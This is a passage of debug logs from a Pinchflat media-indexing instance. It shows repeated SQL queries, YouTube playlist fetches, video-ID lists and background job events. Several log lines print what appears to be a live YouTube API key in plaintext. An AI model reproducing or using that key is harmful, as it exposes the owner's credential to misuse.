s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:40.814 [debug] QUERY OK source="media_profiles" db=0.1ms idle=848.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:40.814 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:40.814 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:26:40.815 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:40.815 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:40.917 [debug] QUERY OK source="media_items" db=0.6ms idle=103.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:26:40.918 [debug] QUERY OK source="media_items" db=0.3ms idle=104.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:26:40.919 [debug] QUERY OK source="tasks" db=0.1ms idle=104.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800202, 43, ~U[2026-02-10 23:26:40Z], ~U[2026-02-10 23:26:40Z]] 17:26:40.919 [info] {"args":{"id":43},"id":3800163,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105814,"event":"job:stop","queue_time":533817,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:42.816 [info] {"args":{"id":25},"id":3800165,"meta":{},"system_time":1770766002816734449,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:42.816 [info] {"args":{"id":7},"id":3800164,"meta":{},"system_time":1770766002816700517,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:42.817 [debug] QUERY OK source="sources" db=0.1ms idle=1897.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:26:42.817 [debug] QUERY OK source="sources" db=0.1ms idle=1891.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:26:42.817 [debug] QUERY OK source="settings" db=0.1ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.817 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.817 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:42.817 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:42.817 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.817 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:26:42.817 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.817 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:26:42.817 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.817 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:42.818 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:42.818 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:43.004 [debug] QUERY OK source="media_items" db=0.5ms idle=186.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:26:43.006 [debug] QUERY OK source="media_items" db=1.0ms idle=187.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:26:43.006 [debug] QUERY OK source="tasks" db=0.1ms idle=188.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800203, 25, ~U[2026-02-10 23:26:43Z], ~U[2026-02-10 23:26:43Z]] 17:26:43.007 [info] {"args":{"id":25},"id":3800165,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190123,"event":"job:stop","queue_time":380328,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:43.153 [debug] QUERY OK source="media_items" db=0.7ms idle=145.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:26:43.155 [debug] QUERY OK source="media_items" db=2.0ms idle=146.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:26:43.156 [debug] QUERY OK source="tasks" db=0.1ms idle=143.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800204, 7, ~U[2026-02-10 23:26:43Z], ~U[2026-02-10 23:26:43Z]] 17:26:43.156 [info] {"args":{"id":7},"id":3800164,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":339709,"event":"job:stop","queue_time":497021,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:43.818 [info] {"args":{"id":20},"id":3800166,"meta":{},"system_time":1770766003818910230,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:43.819 [debug] QUERY OK source="sources" db=0.1ms idle=662.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:26:43.819 [debug] QUERY OK source="settings" db=0.1ms idle=662.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:43.819 [debug] QUERY OK source="media_profiles" db=0.0ms idle=656.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:43.819 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:43.819 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:26:43.819 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:43.819 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:43.947 [debug] QUERY OK source="media_items" db=0.6ms idle=127.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:26:43.948 [debug] QUERY OK source="media_items" db=0.3ms idle=128.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:26:43.948 [debug] QUERY OK source="tasks" db=0.1ms idle=128.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800205, 20, ~U[2026-02-10 23:26:43Z], ~U[2026-02-10 23:26:43Z]] 17:26:43.949 [info] {"args":{"id":20},"id":3800166,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129986,"event":"job:stop","queue_time":540231,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:44.819 [info] {"args":{"id":19},"id":3800167,"meta":{},"system_time":1770766004819813566,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:44.820 [debug] QUERY OK source="sources" db=0.2ms idle=871.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:26:44.820 [debug] QUERY OK source="settings" db=0.0ms idle=871.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 